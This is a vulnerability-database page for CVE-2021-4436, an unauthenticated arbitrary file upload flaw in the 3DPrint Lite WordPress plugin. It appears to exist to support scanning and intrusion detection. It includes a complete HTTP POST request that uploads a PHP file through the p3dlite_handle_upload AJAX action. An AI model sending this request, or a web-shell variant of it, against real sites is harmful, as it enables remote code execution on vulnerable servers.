🔙 목록으로 돌아가기

CVE-2021-4436: 3DPrint Lite < 1.9.1.5 - Arbitrary File Upload

Title3DPrint Lite < 1.9.1.5 - Arbitrary File Upload
Authors4e-io
SeverityCritical
ImpactUnauthenticated attackers can upload arbitrary files including PHP scripts via the p3dlite_handle_upload AJAX action, potentially achieving remote code execution despite .htaccess protection.
RemediationFixed in 1.9.1.5
CVSS Score9.8
EPSS Score0.79586
CVE IDCVE-2021-4436
CWE IDCWE-434
Tags cve cve2021 3dprint-lite file-upload instrusive wpscan wordpress wp-plugin intrusive vkev vuln

🔍 Vulnerability Description

The plugin does not have any authorisation and does not check the uploaded file in its p3dlite_handle_upload AJAX action , allowing unauthenticated users to upload arbitrary file to the web server. However, there is a .htaccess, preventing the file to be accessed on Web servers such as Apache.

🌐 HTTP Request

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Connection: close
Content-Length: 412
Content-Type: multipart/form-data; boundary=---------------------------54331109111293931601238262353
Accept-Encoding: gzip

-----------------------------54331109111293931601238262353

Content-Disposition: form-data; name="action"



p3dlite_handle_upload

-----------------------------54331109111293931601238262353

Content-Disposition: form-data; name="file"; filename="vwhlniRE.php"

Content-Type: text/php



<?php echo "38FOZqs13Hj0pfn0WfRhucHKzsg";unlink(__FILE__);?>

-----------------------------54331109111293931601238262353--

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-4436.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-4436.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A